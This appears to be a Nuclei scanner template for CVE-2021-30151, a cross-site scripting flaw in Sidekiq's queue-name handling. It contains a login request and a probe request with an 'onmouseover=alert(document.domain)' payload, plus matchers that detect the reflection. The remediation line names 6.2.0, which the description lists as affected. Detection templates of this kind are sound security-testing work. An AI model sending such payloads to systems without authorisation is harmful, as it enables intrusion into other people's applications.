nuclei-templates/http/cves/2021/CVE-2021-30151.yaml

62 lines
1.9 KiB
YAML

id: CVE-2021-30151
info:
name: Sidekiq <=6.2.0 - Cross-Site Scripting
author: DhiyaneshDk
severity: medium
description: Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
remediation: |
Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability.
reference:
- https://github.com/mperham/sidekiq/issues/4852
- https://lists.debian.org/debian-lts-announce/2022/03/msg00015.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-30151
- https://lists.debian.org/debian-lts-announce/2023/03/msg00011.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-30151
cwe-id: CWE-79
epss-score: 0.00455
epss-percentile: 0.72446
cpe: cpe:2.3:a:contribsys:sidekiq:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: contribsys
product: sidekiq
shodan-query: title:"Sidekiq"
tags: cve,cve2021,xss,sidekiq,authenticated
http:
- raw:
- |
POST /api/auth HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{username}}","password":"{{password}}"}
- |
GET /queues/"onmouseover="alert(document.domain)" HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'onmouseover="alert(document.domain)'
- 'sidekiq'
condition: and
case-insensitive: true
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4a0a00473045022100d8f354feb1094090041f3aaac089f0d9b241250c918297f1b2cb61adcfb9c65102207d81ef166ebb12d38d82df7b52f065327ac0af07c94e313e5be81b74dcf34fe7:922c64590222798bb761d5b6d8e72950